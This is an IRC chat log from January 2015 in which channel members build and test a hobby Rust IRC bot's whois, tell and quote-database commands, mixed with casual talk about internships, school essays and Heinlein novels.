[2015-01-13T21:55:27-0500] <@awe> JacobEdelman: you can do @iam always joking.
[2015-01-13T21:56:18-0500] <@awe> @whois awebot
[2015-01-13T21:56:18-0500] <awebot> awe: I don't know who awebot is.
[2015-01-13T21:56:38-0500] <awebot> @iam the friendly neighborhood Spiderman.
[2015-01-13T21:56:43-0500] <@awe> @whois awebot
[2015-01-13T21:56:43-0500] <awebot> awe: I don't know who awebot is.
[2015-01-13T21:56:46-0500] <@awe> Oh yeah, he doesn't parse his own messages.
[2015-01-13T21:56:47-0500] <@awe> Dammit.
[2015-01-13T21:57:53-0500] <@awe> @whois awebot
[2015-01-13T21:57:53-0500] <awebot> awe: awebot is just your friendly neighborhood Spiderman.
[2015-01-13T21:57:54-0500] <@awe> There we go.
[2015-01-13T21:58:27-0500] <@awe> Tamini: what are the requirements for quotes?
[2015-01-13T21:58:28-0500] <+Tamini> hardmath123: your inbox is no longer empty
[2015-01-13T21:58:31-0500] <+Tamini> awe: hm?
[2015-01-13T21:58:35-0500] <+Tamini> qdb?
[2015-01-13T21:58:37-0500] <@awe> Yeah.
[2015-01-13T21:58:43-0500] <jwoglom> @iam either a human or a robot, not sure, send help pls
[2015-01-13T21:58:43-0500] <awebot> jwoglom: Got it!
[2015-01-13T21:59:22-0500] <+Tamini> hardmath123: im going to go write apush again, tell me what you think.
[2015-01-13T21:59:38-0500] <+Tamini> (lazy rhyming disclaimer)
[2015-01-13T21:59:53-0500] <@awe> Tamini: we'll need an @addquote.
[2015-01-13T22:00:00-0500] <@awe> And I guess @quote to get a random quote.
[2015-01-13T22:00:01-0500] <@awe> What else?
[2015-01-13T22:00:13-0500] <+Tamini> um
[2015-01-13T22:00:16-0500] <jwoglom> awe: some page hosted somewhere that has a full list of all of them, maybe?
[2015-01-13T22:00:16-0500] <+Tamini> one second
[2015-01-13T22:00:21-0500] <+Tamini> ^
[2015-01-13T22:00:23-0500] <+Tamini> that, and
[2015-01-13T22:00:26-0500] <@awe> That's a tad out-of-scope.
[2015-01-13T22:00:27-0500] <+hardmath123> Tamini: that was delightful.
[2015-01-13T22:00:38-0500] <+Tamini> take note of the sarcastic tone
[2015-01-13T22:00:39-0500] <+Tamini> :D
[2015-01-13T22:00:43-0500] <+hardmath123> awe: host 'em on backtick.
[2015-01-13T22:00:53-0500] <@awe> Though, technically, I could run a web server with Rust.
[2015-01-13T22:04:14-0500] <nezorg> JacobEdelman: I really don't think randall knows what happens in a canning factory
[2015-01-13T22:05:39-0500] <nezorg> @iam a person who knows what happens in a canning factory
[2015-01-13T22:05:39-0500] <awebot> nezorg: Got it!
[2015-01-13T22:05:52-0500] <@awe> pls end it in period
[2015-01-13T22:06:05-0500] <nezorg> @iam a person who knows what happens in a canning factory.
[2015-01-13T22:06:05-0500] <awebot> nezorg: Got it!
[2015-01-13T22:06:09-0500] <nezorg> @whois nezorg
[2015-01-13T22:06:09-0500] <awebot> nezorg: nezorg is a person who knows what happens in a canning factory.
[2015-01-13T22:06:20-0500] <+hardmath123> @whois hardmath123 
[2015-01-13T22:06:20-0500] <awebot> hardmath123: I don't know who hardmath123  is.
[2015-01-13T22:06:25-0500] <+hardmath123> ...
[2015-01-13T22:06:26-0500] <nezorg> @whois Tamini
[2015-01-13T22:06:26-0500] <awebot> nezorg: Tamini is a robot. beep boop
[2015-01-13T22:06:29-0500] <@awe> hardmath123: extra space.
[2015-01-13T22:06:30-0500] <+hardmath123> @iam number four.
[2015-01-13T22:06:31-0500] <awebot> hardmath123: Got it!
[2015-01-13T22:06:36-0500] <+hardmath123> @whois hardmath123
[2015-01-13T22:06:36-0500] <awebot> hardmath123: hardmath123 is number four.
[2015-01-13T22:06:41-0500] <@awe> hardmath123: it was because of the extra space after hardmath123.
[2015-01-13T22:06:41-0500] <+hardmath123> Nice.
[2015-01-13T22:06:46-0500] <+hardmath123> Oh. You should strip that.
[2015-01-13T22:06:53-0500] <@awe> Yeah, I'm going to change that behavior a bit.
[2015-01-13T22:06:58-0500] <+hardmath123> Because chat clients put a space after tab-completions.
[2015-01-13T22:07:08-0500] <nezorg> not mine!
[2015-01-13T22:08:03-0500] <@awe> @whois hardmath123 
[2015-01-13T22:08:03-0500] <awebot> awe: hardmath123 is number four.
[2015-01-13T22:08:08-0500] <@awe> There you go.
[2015-01-13T22:08:13-0500] <@awe> Mine puts a space after tab completions too.
[2015-01-13T22:08:17-0500] <nezorg> @whois awe
[2015-01-13T22:08:17-0500] <awebot> nezorg: awe is a sea-faring pirate.
[2015-01-13T22:08:22-0500] <nezorg> @whois awebot
[2015-01-13T22:08:22-0500] <awebot> nezorg: awebot is just your friendly neighborhood Spiderman.
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[2015-01-13T22:13:35-0500] <@awe> Okay, he's running on my server now.
[2015-01-13T22:15:16-0500] <@awe> @tell awe hi
[2015-01-13T22:15:16-0500] <awebot> awe: I'll let them know!
[2015-01-13T22:15:16-0500] <awebot> awe: Moments ago, awe said hi.
[2015-01-13T22:16:51-0500] <@awe> @iam a rock.
[2015-01-13T22:16:51-0500] <awebot> awe: Got it!
[2015-01-13T22:16:52-0500] <@awe> @whois awe
[2015-01-13T22:16:53-0500] <awebot> awe: awe is a rock.
[2015-01-13T22:20:04-0500] <@awe> @keybase awe
[2015-01-13T22:20:04-0500] <awebot> awe: Keybase: awe Twitter: aatxe GitHub: aatxe Reddit: aaronweiss74 Coinbase: coinbase/awe Website: deviant-core.net Website: pdgn.co Website: aaronweiss.us
[2015-01-13T22:21:40-0500] <@awe> @choose this or that
[2015-01-13T22:21:53-0500] <@awe> @choose this or that
[2015-01-13T22:21:53-0500] <awebot> awe: that
[2015-01-13T22:23:37-0500] <@awe> @ddg !w Pigeon
[2015-01-13T22:23:37-0500] <awebot> awe: https://duckduckgo.com/?q=!w+Pigeon
[2015-01-13T22:28:04-0500] <@awe> @tell Tamini Hi!
[2015-01-13T22:28:04-0500] <awebot> awe: I'll let them know!
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[2015-01-13T22:30:04-0500] <@awe> @whois ubuntor
[2015-01-13T22:30:04-0500] <awebot> awe: I don't know who ubuntor is.
[2015-01-13T22:30:18-0500] <ubuntor> wat
[2015-01-13T22:30:32-0500] <@awe> @iam the devil.
[2015-01-13T22:30:32-0500] <awebot> awe: Got it!
[2015-01-13T22:30:35-0500] <@awe> @whois awe
[2015-01-13T22:30:35-0500] <awebot> awe: awe is the devil.
[2015-01-13T22:30:46-0500] <ubuntor> oh, did i forget to add ns auth for this network?
[2015-01-13T22:30:50-0500] <@awe> No.
[2015-01-13T22:30:52-0500] <@awe> It's unrelated.
[2015-01-13T22:30:55-0500] <@awe> It's just a new thing.
[2015-01-13T22:31:22-0500] <ubuntor> oh ok
[2015-01-13T22:32:33-0500] <@awe> @whois nezorg
[2015-01-13T22:32:33-0500] <awebot> awe: nezorg is a person who knows what happens in a canning factory.
[2015-01-13T22:32:56-0500] <@awe> @whois hardmath123
[2015-01-13T22:32:56-0500] <awebot> awe: hardmath123 is number four.
[2015-01-13T22:32:57-0500] <@awe> Okay.
[2015-01-13T22:32:58-0500] <@awe> Everyone is done.
[2015-01-13T22:33:11-0500] <@awe> Well, everyone is migrated rather.
[2015-01-13T22:36:44-0500] <@awe> What else would be useful to have?
[2015-01-13T22:37:06-0500] <+hardmath123> status on the quotedb?
[2015-01-13T22:37:28-0500] <ubuntor> @iam a robot. Beep boop.
[2015-01-13T22:37:28-0500] <awebot> ubuntor: Got it!
[2015-01-13T22:37:29-0500] <@awe> I'll work on that, but I don't know if it's going to have a web interface or anything.
[2015-01-13T22:37:38-0500] <@awe> ubuntor: did you read logs...?
[2015-01-13T22:37:46-0500] <@awe> Wait, you couldn't have.
[2015-01-13T22:37:48-0500] <@awe> uhh...
[2015-01-13T22:37:49-0500] <@awe> @whois Tamini
[2015-01-13T22:37:49-0500] <awebot> awe: Tamini is a robot. beep boop
[2015-01-13T22:37:50-0500] <ubuntor> i have nothing before 22:29:46
[2015-01-13T22:37:54-0500] <ubuntor> wat
[2015-01-13T22:37:58-0500] <@awe> lol.
[2015-01-13T22:38:00-0500] <ubuntor> .........
[2015-01-13T22:38:02-0500] <ubuntor> well then
[2015-01-13T22:41:46-0500] <ubuntor> @iam in a maze of twisty little passages, all alike.
[2015-01-13T22:41:46-0500] <awebot> ubuntor: Got it!
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[2015-01-13T22:37:58-0500] <@awe> lol.
[2015-01-13T22:38:00-0500] <ubuntor> .........
[2015-01-13T22:38:02-0500] <ubuntor> well then
[2015-01-13T22:41:46-0500] <ubuntor> @iam in a maze of twisty little passages, all alike.
[2015-01-13T22:41:46-0500] <awebot> ubuntor: Got it!
[2015-01-13T22:48:31-0500] Mode is +ns
[2015-01-13T22:54:20-0500] <+Tamini> awe: are quotes live yet?
[2015-01-13T22:54:20-0500] <awebot> Tamini: 26 minutes ago, awe said Hi!
[2015-01-13T22:54:23-0500] <+Tamini> heh
[2015-01-13T22:54:29-0500] <+Tamini> @tell awe hello. :)
[2015-01-13T22:54:29-0500] <awebot> Tamini: I'll let them know!
[2015-01-13T22:54:32-0500] <@awe> Tamini: not yet.
[2015-01-13T22:54:32-0500] <awebot> awe: Moments ago, Tamini said hello. :).
[2015-01-13T22:57:23-0500] <LittleBobbyTables> bleh
[2015-01-13T22:57:30-0500] <+Tamini> hi, LBT! :)
[2015-01-13T22:57:40-0500] <LittleBobbyTables> You seem happy
[2015-01-13T22:57:43-0500] <LittleBobbyTables> Hi anyway
[2015-01-13T22:58:54-0500] <+Tamini> im having a happy day
[2015-01-13T22:59:00-0500] <+Tamini> because I haven't actually like
[2015-01-13T22:59:05-0500] <+Tamini> done any unpleasant work yet :D
[2015-01-13T22:59:18-0500] <LittleBobbyTables> Nice
[2015-01-13T23:02:47-0500] <nezorg> Tamini: no apush essay yet? :|
[2015-01-13T23:03:06-0500] <+Tamini> nezorg: i took notes on the speeches! :D
[2015-01-13T23:03:46-0500] <LittleBobbyTables> pst ashley
[2015-01-13T23:03:55-0500] <LittleBobbyTables> I know what you can buy me for christmas/birthday
[2015-01-13T23:04:12-0500] <+Tamini> lolol
[2015-01-13T23:04:17-0500] <+Tamini> bit early for christmas
[2015-01-13T23:04:18-0500] <+Tamini> what?
[2015-01-13T23:04:27-0500] <LittleBobbyTables> That's why you save up! :D
[2015-01-13T23:04:49-0500] <LittleBobbyTables> One of those PC desks. Where you pull out a drawer and you can put your computer parts inside of it
[2015-01-13T23:04:56-0500] <+Tamini> lolol
[2015-01-13T23:04:59-0500] <+Tamini> cant you get it yourself
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[2015-01-13T23:06:23-0500] <LittleBobbyTables> No
[2015-01-13T23:11:02-0500] <+Tamini> y not
[2015-01-13T23:11:02-0500] <+Tamini> :<
[2015-01-13T23:11:26-0500] <LittleBobbyTables> I'm Mexican, I can't afford anything
[2015-01-13T23:17:30-0500] <@awe> wat
[2015-01-13T23:19:22-0500] <alokpathy> I thought you were German?
[2015-01-13T23:20:20-0500] <+Tamini> he is ALL the races
[2015-01-13T23:20:30-0500] <LittleBobbyTables> Except Australian.
[2015-01-13T23:20:35-0500] <LittleBobbyTables> I don't wanna die pls
[2015-01-13T23:21:33-0500] <alokpathy> wat
[2015-01-13T23:25:11-0500] <nezorg> hey guys
[2015-01-13T23:25:22-0500] <nezorg> do you think I should take the internship at kaprica?
[2015-01-13T23:25:30-0500] <@awe> @quote
[2015-01-13T23:25:30-0500] <awebot_> I don't know any quotes.
[2015-01-13T23:25:36-0500] <@awe> @addquote alokpathy wat
[2015-01-13T23:25:36-0500] <awebot_> awe: I'll remember it.
[2015-01-13T23:25:37-0500] <nezorg> the main reason I'm considering it is that I'd get to work as a team with my fellow 1064cbread members
[2015-01-13T23:25:38-0500] <@awe> @quote
[2015-01-13T23:25:38-0500] <awebot_> awe: alokpathy once said  wat
[2015-01-13T23:25:54-0500] <alokpathy> This is true.
[2015-01-13T23:25:56-0500] <+Tamini> doesnt that sound fun, though, nezorg?
[2015-01-13T23:26:05-0500] <+Tamini> what else would you rather do?
[2015-01-13T23:26:06-0500] <@awe> @addquote alokpathy wat
[2015-01-13T23:26:06-0500] <awebot_> awe: I'll remember it.
[2015-01-13T23:26:07-0500] <@awe> @quote
[2015-01-13T23:26:07-0500] <awebot_> awe: alokpathy once said  wat
[2015-01-13T23:26:14-0500] <+Tamini> @quote 1
[2015-01-13T23:26:14-0500] <awebot_> Tamini: alokpathy once said  wat
[2015-01-13T23:26:17-0500] <+Tamini> @quote 2
[2015-01-13T23:26:17-0500] <awebot_> I don't know any quotes.
[2015-01-13T23:26:18-0500] <@awe> @addquote alokpathy wat
[2015-01-13T23:26:18-0500] <awebot_> awe: I'll remember it.
[2015-01-13T23:26:20-0500] <@awe> @quote
[2015-01-13T23:26:20-0500] <awebot_> awe: alokpathy once said wat
[2015-01-13T23:26:21-0500] <+Tamini> @quote 2
[2015-01-13T23:26:21-0500] <awebot_> Tamini: alokpathy once said wat
[2015-01-13T23:26:23-0500] <+Tamini> @quote 3
[2015-01-13T23:26:23-0500] <awebot_> Tamini: alokpathy once said wat
[2015-01-13T23:26:25-0500] <+Tamini> @quote 4
[2015-01-13T23:26:25-0500] <awebot_> Tamini: alokpathy once said wat
[2015-01-13T23:26:25-0500] <nezorg> Tamini: well, if it weren't the team, I'd prefer a non-security internship
[2015-01-13T23:26:27-0500] <alokpathy> plz
[2015-01-13T23:26:27-0500] <@awe> Tamini: it doesn't take numbers.
[2015-01-13T23:26:28-0500] <+Tamini> ...???
[2015-01-13T23:26:29-0500] <nezorg> but the team is pretty convincing
[2015-01-13T23:26:29-0500] <+Tamini> oh
[2015-01-13T23:26:30-0500] <alokpathy> The pings
[2015-01-13T23:26:34-0500] <alokpathy> I'm being attacked.
[2015-01-13T23:26:58-0500] <+Tamini> nezorg: what else are you looking into, if I may ask?
[2015-01-13T23:27:21-0500] <nezorg> yahoo, a couple other sv ones
[2015-01-13T23:27:28-0500] <+Tamini> oh, yeah
[2015-01-13T23:27:34-0500] <nezorg> there's always seclab
[2015-01-13T23:27:41-0500] <nezorg> dpea offered me a special internship thing
[2015-01-13T23:27:42-0500] <+Tamini> did you email yaho yet?
[2015-01-13T23:27:47-0500] <nezorg> no...
[2015-01-13T23:27:54-0500] <+Tamini> yahoo*
[2015-01-13T23:27:54-0500] <nezorg> because this kaprica looks really nice
[2015-01-13T23:27:56-0500] <+Tamini> and why not?
[2015-01-13T23:27:58-0500] <+Tamini> ah
[2015-01-13T23:28:28-0500] <+Tamini> i still feeel like
[2015-01-13T23:28:39-0500] <+Tamini> it's very worth at least looking into other things even if you decide to go with Kaprica
[2015-01-13T23:28:49-0500] <+Tamini> especially since you say you'd be interested in a non-security internship
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[2015-01-13T23:32:20-0500] <@awe> @quote
[2015-01-13T23:32:20-0500] <awebot> I don't know any quotes.
[2015-01-13T23:32:22-0500] <@awe> Okay.
[2015-01-13T23:32:27-0500] <@awe> Basic quote bot is done.
[2015-01-13T23:32:30-0500] <+Tamini> yay
[2015-01-13T23:32:34-0500] <+Tamini> can we do numbers
[2015-01-13T23:32:36-0500] <+Tamini> quote # x
[2015-01-13T23:32:39-0500] <@awe> Yeah.
[2015-01-13T23:32:42-0500] <+Tamini> :D
[2015-01-13T23:37:44-0500] <+Tamini> @tell JacobEdelman we have an actual qdb now, add stuff to them
[2015-01-13T23:37:44-0500] <awebot> Tamini: I'll let them know!
[2015-01-13T23:42:51-0500] <@awe> @quote
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[2015-01-13T23:42:53-0500] <@awe> erm
[2015-01-13T23:43:04-0500] <alokpathy> awe: Why'd you have to kill him? :(
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[2015-01-13T23:43:04-0500] <@awe> @quote
[2015-01-13T23:43:04-0500] <awebot> I don't know any quotes.
[2015-01-13T23:43:07-0500] <@awe> My b.
[2015-01-13T23:43:09-0500] <@awe> @quote 1
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[2015-01-13T23:43:24-0500] <alokpathy> awe: is a serial bot killer
[2015-01-13T23:43:35-0500] <@awe> Erm.
[2015-01-13T23:43:37-0500] <ubuntor> are quotes saved to a file?
[2015-01-13T23:44:04-0500] <@awe> Yes.
[2015-01-13T23:44:56-0500] <+Tamini> awe, awe
[2015-01-13T23:45:02-0500] <+Tamini> can we host them on a site somewhere?
[2015-01-13T23:45:02-0500] <+Tamini> :D
[2015-01-13T23:45:10-0500] <+Tamini> when im bored one day i'll want to go through them
[2015-01-13T23:45:24-0500] <+Tamini> and (/r/)nocontext is more fun
[2015-01-13T23:45:33-0500] <+Tamini> jwoglom: question
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[2015-01-13T23:45:41-0500] <jwoglom> Tamini: hiya
[2015-01-13T23:45:49-0500] <+Tamini> how does tjhsstbot do
[2015-01-13T23:45:52-0500] <@awe> @quote 
[2015-01-13T23:45:52-0500] <+Tamini> multiline quotes>
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[2015-01-13T23:45:56-0500] <@awe> Goddammit.
[2015-01-13T23:45:58-0500] <jwoglom> it doesn't
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[2015-01-13T23:46:05-0500] <@awe> @quote
[2015-01-13T23:46:05-0500] <awebot> I don't know any quotes.
[2015-01-13T23:46:07-0500] <@awe> @quote 1
[2015-01-13T23:46:07-0500] <awebot> There is no such quote.
[2015-01-13T23:46:10-0500] <+Tamini> aw
[2015-01-13T23:46:24-0500] <@awe> Anybody have the link to Jacob's thing?
[2015-01-13T23:46:33-0500] <+hardmath123> Thing?
[2015-01-13T23:46:34-0500] <jwoglom> they're basically all single line quotes
[2015-01-13T23:46:43-0500] <jwoglom> said by only one person most of the time
[2015-01-13T23:46:53-0500] <jwoglom> i wonder what the best way to implement multiline would be
[2015-01-13T23:46:55-0500] <@awe> Yeah, there's not a good way to do multiline quotes in IRC.
[2015-01-13T23:47:01-0500] <+Tamini> oh uh
[2015-01-13T23:47:05-0500] <+Tamini> its a gdoc link
[2015-01-13T23:47:08-0500] <+Tamini> ffuu
[2015-01-13T23:47:09-0500] <@awe> jwoglom: probably something like @enterquote
[2015-01-13T23:47:14-0500] <@awe> jwoglom: paste lines
[2015-01-13T23:47:17-0500] <@awe> jwoglom: @endquote
[2015-01-13T23:47:25-0500] <jwoglom> awe: that'd work, but seems overly botspam-y
[2015-01-13T23:47:41-0500] <@awe> Multiline quotes will always do that though.
[2015-01-13T23:47:49-0500] <+hardmath123> awe: or you could have a web interface to copy/paste into.
[2015-01-13T23:48:06-0500] <@awe> That's not really an IRC bot then.
[2015-01-13T23:48:09-0500] <+Tamini> yeah
[2015-01-13T23:48:10-0500] <+Tamini> oh well
[2015-01-13T23:48:30-0500] <jwoglom> or you could just do what we do for multiline quotes
[2015-01-13T23:48:38-0500] <jwoglom> a txt file that someone updates as their own personal qdb :P
[2015-01-13T23:48:51-0500] <@awe> Well, yes.
[2015-01-13T23:48:53-0500] <@awe> We have that.
[2015-01-13T23:48:55-0500] <+hardmath123> or like @remember last <n>
[2015-01-13T23:48:56-0500] <@awe> https://docs.google.com/document/d/1xomPslf2ufG74MZJyHOIt7ATwF7djRFift2WgYX-5_8/edit?usp=sharing
[2015-01-13T23:49:09-0500] <@awe> hardmath123: only useful if you do it immediately though.
[2015-01-13T23:49:21-0500] <+hardmath123> well we won't go back through logs and add quotes
[2015-01-13T23:49:30-0500] <@awe> @addquote hardmath123 kc:~/alchemy$ cat answers.py | grep love
[2015-01-13T23:49:30-0500] <awebot> awe: I'll remember it as #1.
[2015-01-13T23:49:34-0500] <@awe> @quote
[2015-01-13T23:49:34-0500] <awebot> awe: hardmath123 once said kc:~/alchemy$ cat answers.py | grep love
[2015-01-13T23:49:35-0500] <@awe> @quote 1
[2015-01-13T23:49:35-0500] <awebot> awe: hardmath123 once said kc:~/alchemy$ cat answers.py | grep love
[2015-01-13T23:49:40-0500] <+hardmath123> @quote 2
[2015-01-13T23:49:40-0500] <awebot> There is no such quote.
[2015-01-13T23:49:42-0500] <+hardmath123> @quote -1
[2015-01-13T23:49:42-0500] <awebot> There is no such quote.
[2015-01-13T23:49:43-0500] <+hardmath123> @quote -0
[2015-01-13T23:49:43-0500] <awebot> There is no such quote.
[2015-01-13T23:49:45-0500] <+hardmath123> @quote 0
[2015-01-13T23:49:45-0500] <awebot> There is no such quote.
[2015-01-13T23:49:56-0500] <+hardmath123> awebot passes the hardmath123 test.
[2015-01-13T23:49:57-0500] <@awe> @quote 
[2015-01-13T23:49:57-0500] <awebot> There is no such quote.
[2015-01-13T23:50:22-0500] <@awe> @quote q
[2015-01-13T23:50:22-0500] <awebot> There is no such quote.
[2015-01-13T23:50:35-0500] <jwoglom> @quote    
[2015-01-13T23:50:35-0500] <awebot> There is no such quote.
[2015-01-13T23:50:45-0500] <ubuntor> @quote 1.0
[2015-01-13T23:50:45-0500] <awebot> There is no such quote.
[2015-01-13T23:50:49-0500] <+Tamini> @quote 1
[2015-01-13T23:50:49-0500] <awebot> Tamini: hardmath123 once said kc:~/alchemy$ cat answers.py | grep love
[2015-01-13T23:50:52-0500] <+Tamini> is my favorite :D
[2015-01-13T23:51:13-0500] <@awe> ubuntor: it's integer only lol
[2015-01-13T23:51:24-0500] <ubuntor> just testing it
[2015-01-13T23:51:28-0500] <@awe> ubuntor: and it's usize, so, it can't parse over 2^32
[2015-01-13T23:51:28-0500] <jwoglom> @quote NaN
[2015-01-13T23:51:28-0500] <awebot> There is no such quote.
[2015-01-13T23:51:33-0500] <+Tamini> @addquote JacobEdelman Pidgey has been PMing me lewd messages for weeks
[2015-01-13T23:51:33-0500] <awebot> Tamini: I'll remember it as #2.
[2015-01-13T23:51:36-0500] <+Tamini> @quote 2
[2015-01-13T23:51:36-0500] <awebot> Tamini: JacobEdelman once said Pidgey has been PMing me lewd messages for weeks
[2015-01-13T23:51:39-0500] <+Tamini> @quote
[2015-01-13T23:51:39-0500] <awebot> Tamini: hardmath123 once said kc:~/alchemy$ cat answers.py | grep love
[2015-01-13T23:51:42-0500] <+Tamini> @quote
[2015-01-13T23:51:42-0500] <awebot> Tamini: JacobEdelman once said Pidgey has been PMing me lewd messages for weeks
[2015-01-13T23:51:44-0500] <+Tamini> @quote
[2015-01-13T23:51:44-0500] <awebot> Tamini: JacobEdelman once said Pidgey has been PMing me lewd messages for weeks
[2015-01-13T23:52:09-0500] <+Tamini> I feel like it'd be much better to just be like
[2015-01-13T23:52:12-0500] <+Tamini> Name: quote
[2015-01-13T23:52:18-0500] <+Tamini> the text seems needlessly wordy
[2015-01-13T23:52:29-0500] <@awe> But it'd be confusing because of the ping.
[2015-01-13T23:52:37-0500] <ubuntor> keep it raw
[2015-01-13T23:52:40-0500] <ubuntor> <nick> blah
[2015-01-13T23:52:41-0500] <LittleBobbyTables> nezorg: pls I want old ehome back
[2015-01-13T23:52:46-0500] <jwoglom> i agree, very wordy
[2015-01-13T23:52:49-0500] <+Tamini> awe: but i mean they'd see the @quote
[2015-01-13T23:52:50-0500] <+Tamini> lol
[2015-01-13T23:52:53-0500] <+Tamini> @quote hello
[2015-01-13T23:52:53-0500] <awebot> There is no such quote.
[2015-01-13T23:52:55-0500] <@awe> Okay, fine.
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[2015-01-13T23:52:56-0500] <+Tamini> lolol
[2015-01-13T23:53:20-0500] <nezorg> LittleBobbyTables: huh?
[2015-01-13T23:54:03-0500] <@awe> @quote
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[2015-01-13T23:54:08-0500] <@awe> Sigh.
[2015-01-13T23:54:08-0500] <nezorg> nice
[2015-01-13T23:54:13-0500] <@awe> It's not the plugins.
[2015-01-13T23:54:15-0500] <+Tamini> its okaaay
[2015-01-13T23:54:15-0500] <@awe> It's a bug with awebot.
[2015-01-13T23:54:23-0500] <jwoglom> awe: I think we could figure out that much
[2015-01-13T23:54:37-0500] <@awe> it's because of keybase I think.
[2015-01-13T23:54:46-0500] <+Tamini> hm?
[2015-01-13T23:54:55-0500] <@awe> The keybase plugin breaks things because of global state.
[2015-01-13T23:54:58-0500] <@awe> (Fuck global state)
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[2015-01-13T23:55:06-0500] <@awe> @quote
[2015-01-13T23:55:06-0500] <awebot> <JacobEdelman> Pidgey has been PMing me lewd messages for weeks
[2015-01-13T23:55:10-0500] <@awe> Better?
[2015-01-13T23:55:32-0500] <+Tamini> yes
[2015-01-13T23:55:36-0500] <+Tamini> thank you awe <3
[2015-01-13T23:56:00-0500] <jwoglom> it'd be cool to see statistics on the number of quotes
[2015-01-13T23:56:04-0500] <jwoglom> and number per person somehow
[2015-01-13T23:57:07-0500] <@awe> I can do that.
[2015-01-13T23:57:17-0500] <+Tamini> uhh
[2015-01-13T23:57:21-0500] <+Tamini> we are not implementing statistics
[2015-01-13T23:57:28-0500] <@awe> Why not?
[2015-01-13T23:57:30-0500] <+Tamini> do you not remember what happened
[2015-01-13T23:57:34-0500] <+Tamini> last time we had something with a massping
[2015-01-13T23:57:37-0500] <+Tamini> >_>
[2015-01-13T23:57:43-0500] <@awe> I can add @users again. ;)
[2015-01-13T23:57:47-0500] <+Tamini> pls bb
[2015-01-13T23:58:01-0500] <jwoglom> no pls
[2015-01-13T23:58:03-0500] <+Tamini> at the very least redirect @quote stat to pm or something
[2015-01-13T23:58:13-0500] <LittleBobbyTables> nezorg: mushi and burning too strong
[2015-01-13T23:58:18-0500] <LittleBobbyTables> err, zsmj not burning
[2015-01-14T00:00:06-0500] <nezorg> wat
[2015-01-14T00:04:06-0500] <+Tamini> fuu-
[2015-01-14T00:04:13-0500] <+Tamini> i wrote 1/3 paragraphs of my paper
[2015-01-14T00:04:16-0500] <+Tamini> i went over word limit
[2015-01-14T00:04:17-0500] <+Tamini> whatdo
[2015-01-14T00:05:01-0500] <jwoglom> Tamini: say..less? :P
[2015-01-14T00:05:11-0500] <+Tamini> :(
[2015-01-14T00:05:53-0500] <jwoglom> but then you can just say more again in different paragraphs
[2015-01-14T00:05:57-0500] <jwoglom> it all evens out :P
[2015-01-14T00:05:57-0500] <@awe> Split paragraph into three paragraphs
[2015-01-14T00:06:02-0500] <@awe> finish paper
[2015-01-14T00:06:16-0500] <+Tamini> each paragraph has a topic
[2015-01-14T00:06:17-0500] <+Tamini> :/
[2015-01-14T00:06:27-0500] <+Tamini> also we need quotes and LINCOLN'S QUOTES ARE DAMN LONG
[2015-01-14T00:07:06-0500] <jwoglom> Tamini: you could use ellipses?
[2015-01-14T00:07:12-0500] <@awe> Also, the Pidgey pming him is made so much better by my quote.
[2015-01-14T00:07:13-0500] <@awe> 8:13 PM <~JacobEdelman> Pidgey has been PMing me lewd messages for weeks
[2015-01-14T00:07:13-0500] <@awe> 8:18 PM <awe> Welp, I thought I turned that feature off.
[2015-01-14T00:07:13-0500] <@awe> :D
[2015-01-14T00:07:24-0500] <+Tamini> lol
[2015-01-14T00:07:30-0500] <+Tamini> but you said no multiliiiiine
[2015-01-14T00:07:34-0500] <@awe> I know. :(
[2015-01-14T00:08:26-0500] <@awe> I could do what hardmath123 said, actually.
[2015-01-14T00:08:54-0500] <LittleBobbyTables> Since people are bad at procedures
[2015-01-14T00:08:55-0500] <LittleBobbyTables> http://gyazo.com/bc6131a85383f4706c433dbb6b017d9f
[2015-01-14T00:09:13-0500] <LittleBobbyTables> Which file should I be editing when I actually start step 1
[2015-01-14T00:09:48-0500] <ubuntor> _2?
[2015-01-14T00:10:18-0500] <ubuntor> do later instructions include higher numbers?
[2015-01-14T00:11:06-0500] <LittleBobbyTables> Yeah, it goes 1-20
[2015-01-14T00:11:31-0500] <LittleBobbyTables> I later on use the _staff file
[2015-01-14T00:11:46-0500] <LittleBobbyTables> But it never says anything about _1 or _2
[2015-01-14T00:11:47-0500] <+Tamini> jesus
[2015-01-14T00:11:50-0500] <ubuntor> then modify _2
[2015-01-14T00:12:14-0500] <LittleBobbyTables> mk
[2015-01-14T00:19:57-0500] <+hardmath123> > "I could do what hardmath123 said, actually."
[2015-01-14T00:20:00-0500] <+hardmath123> Music to my ears :D
[2015-01-14T00:20:08-0500] <@awe> If you search lewd messages on DDG, you find results about Anthony Weiner.
[2015-01-14T00:21:13-0500] <+Tamini> wut
[2015-01-14T00:23:22-0500] <@awe> Yeah.
[2015-01-14T00:23:25-0500] <@awe> @ddg lewd messages
[2015-01-14T00:23:25-0500] <awebot> awe: https://duckduckgo.com/?q=lewd+messages
[2015-01-14T00:26:42-0500] <+hardmath123> "Don't explain computers to laymen. Easier to explain sex to a virgin."
[2015-01-14T00:26:49-0500] <+hardmath123> I'm starting to like this book.
[2015-01-14T00:26:53-0500] <+Tamini> lol
[2015-01-14T00:26:56-0500] <+Tamini> book?
[2015-01-14T00:27:07-0500] <+Tamini> i have a giant stack of fun books next to me
[2015-01-14T00:27:09-0500] <+Tamini> no time to read them
[2015-01-14T00:27:15-0500] <+hardmath123> _The Moon's a Harsh Mistress_, R. Heinlein
[2015-01-14T00:27:25-0500] <+hardmath123> Same guy who wrote _Stranger in a Strange Land_
[2015-01-14T00:27:25-0500] <+Tamini> you really like heinlein, don't you :P
[2015-01-14T00:27:29-0500] <+hardmath123> Well
[2015-01-14T00:27:33-0500] <+Tamini> Stranger in a Strange Land is weird.
[2015-01-14T00:27:34-0500] <+hardmath123> I read SiaSL twice
[2015-01-14T00:27:36-0500] <+Tamini> interesting, but weird.
[2015-01-14T00:27:36-0500] <+hardmath123> and then I was like
[2015-01-14T00:27:49-0500] <+hardmath123> maybe instead of reading it a 3rd time, i'll read this different book by him
[2015-01-14T00:27:52-0500] <+hardmath123> so I started this one
[2015-01-14T00:28:00-0500] <+hardmath123> SiaSL is AWESOME.
[2015-01-14T00:28:22-0500] <+Tamini> hehe
[2015-01-14T00:28:27-0500] <+Tamini> duude
[2015-01-14T00:28:32-0500] <+Tamini> why dont you guys come to pumac? :(
[2015-01-14T00:28:59-0500] <+Tamini> you would've had fun with us at the bookstore
[2015-01-14T00:29:11-0500] <+hardmath123> My problem with _Moon_ is that he writes the whole thing in dumb pidgin english
[2015-01-14T00:29:17-0500] <+hardmath123> as if he is trying to make a point
[2015-01-14T00:29:25-0500] <+hardmath123> but he isn't making a point
[2015-01-14T00:29:59-0500] <+hardmath123> like srsly "the" is totally a legit word.
